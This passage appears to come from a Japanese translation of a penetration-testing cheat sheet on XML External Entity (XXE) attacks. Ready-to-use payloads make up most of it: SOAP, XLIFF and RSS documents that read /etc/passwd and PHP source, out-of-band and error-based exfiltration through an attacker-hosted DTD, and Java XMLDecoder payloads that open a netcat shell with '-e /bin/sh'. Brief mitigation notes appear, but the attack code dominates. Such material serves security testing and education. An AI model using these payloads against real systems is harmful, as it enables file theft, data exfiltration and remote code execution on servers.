  <soapenv:Header/>
  <soapenv:Body>
    <foo>&xxe;</foo>
  </soapenv:Body>
</soapenv:Envelope>

この例では、<!ENTITY>ディレクティブを使用して、外部エンティティxxeを定義しています。xxeエンティティはfile:///etc/passwdを参照しており、攻撃者はサーバー上の/etc/passwdファイルの内容を取得することができます。

XXE攻撃を防ぐためには、以下の対策を実施する必要があります。

  • 入力検証: 受信したXMLデータを適切に検証し、不正な外部エンティティの参照を防止します。
  • エンティティの禁止: サーバー側で外部エンティティの解析を無効化する設定を行います。
  • セキュリティアップデート: 使用しているSOAPライブラリやフレームワークの最新のセキュリティアップデートを適用します。

以上がSOAPメッセージでのXXE攻撃についての概要です。注意深く対策を実施することで、XXE攻撃からシステムを保護することができます。

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

このセクションはhttps://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxeから取得されました。Wikipediaによると:

XLIFFXML Localization Interchange File Formatは、ローカリゼーションプロセス中にローカライズ可能なデータがツール間でやり取りされる方法を標準化し、CATツールの交換のための共通の形式を作成するために作成されたXMLベースのバイテキスト形式です。

盲目的なリクエスト

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

サーバーからの応答はエラーです:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

しかし、Burp Collaborator でヒットしました。

Out of Band を使用したデータの外部への送信

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

表示されたBurp Collaboratorによって返されたUser Agentに基づいて、それはJava 1.8を使用しているようです。このバージョンのJavaでXXEを悪用する際の問題の1つは、Out of Bandテクニックを使用してNew Lineを含むファイル(例:/etc/passwd)を取得できないことです。

エラーベースでデータを外部流出

DTDファイル

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

サーバーレスポンス:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

素晴らしい!non-existファイルはエラーメッセージに反映されます。次はファイルの内容を追加します。

DTDファイル

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

そして、ファイルの内容はHTTP経由で送信されたエラーの出力に正常に表示されました

RSS - XEE

XXE脆弱性を悪用するための有効なRSS形式のXML。

ピンバック

攻撃者のサーバーに対するシンプルなHTTPリクエスト

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ファイルの読み取り

XXEXML External Entity攻撃は、XMLパーサーが外部エンティティを解析する際に発生する脆弱性を悪用する攻撃手法です。この攻撃を使用すると、攻撃者はサーバー上のファイルを読み取ることができます。

以下は、XXE攻撃を使用してファイルを読み取るための一般的な手順です。

  1. 攻撃者は、ターゲットアプリケーションに対してXMLペイロードを送信します。
  2. XMLペイロードには、外部エンティティの定義と読み取りたいファイルのパスが含まれています。
  3. ターゲットアプリケーションは、XMLをパースする際に外部エンティティを解析し、指定されたファイルを読み取ります。
  4. 攻撃者は、読み取られたファイルの内容を取得します。

XXE攻撃は、機密情報の漏洩やサーバーのセキュリティ侵害につながる可能性があります。したがって、開発者はXMLパーサーの設定を適切に構成し、外部エンティティの解析を無効化する必要があります。また、セキュリティテストを実施して、XXE攻撃に対する脆弱性を特定し、修正することが重要です。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

ソースコードの読み取り

PHPのbase64フィルターを使用する

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させ、readObjectメソッドを呼び出すことができれば、サーバー上でコードの実行が即座に可能になります。

Runtime().exec()の使用

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

ProcessBuilderは、外部プログラムを実行するためのJavaのクラスです。このクラスを使用すると、Javaプログラムから外部プログラムを起動し、そのプログラムに引数を渡すことができます。

ProcessBuilderを使用すると、システムコマンドを実行したり、外部プログラムを起動したりすることができます。これは、システムのコマンドラインインターフェースCLIを使用して操作する必要がある場合に特に便利です。

以下は、ProcessBuilderを使用して外部プログラムを実行する基本的な例です。

ProcessBuilder processBuilder = new ProcessBuilder("command", "arg1", "arg2");
Process process = processBuilder.start();

上記の例では、"command"は実行する外部プログラムのコマンド名であり、"arg1"と"arg2"はそのプログラムに渡す引数です。ProcessBuilderのstart()メソッドを呼び出すことで、外部プログラムが実行されます。

ProcessBuilderを使用する際には、セキュリティ上の注意が必要です。外部プログラムの引数にユーザーからの入力を直接渡す場合、悪意のあるユーザーによってコマンドインジェクション攻撃が行われる可能性があります。そのため、入力値の検証やエスケープ処理を行うことが重要です。

また、外部プログラムの出力を取得する場合は、ProcessオブジェクトのgetInputStream()メソッドを使用して取得することができます。

InputStream inputStream = process.getInputStream();

ProcessBuilderは、外部プログラムの実行や操作に便利な機能を提供するため、ペネトレーションテストやシステム管理などのさまざまなシナリオで活用されます。

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

ツール

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

その他のリソース

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
独自の外部DTDを使用してHTTP経由で情報を抽出するhttps://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥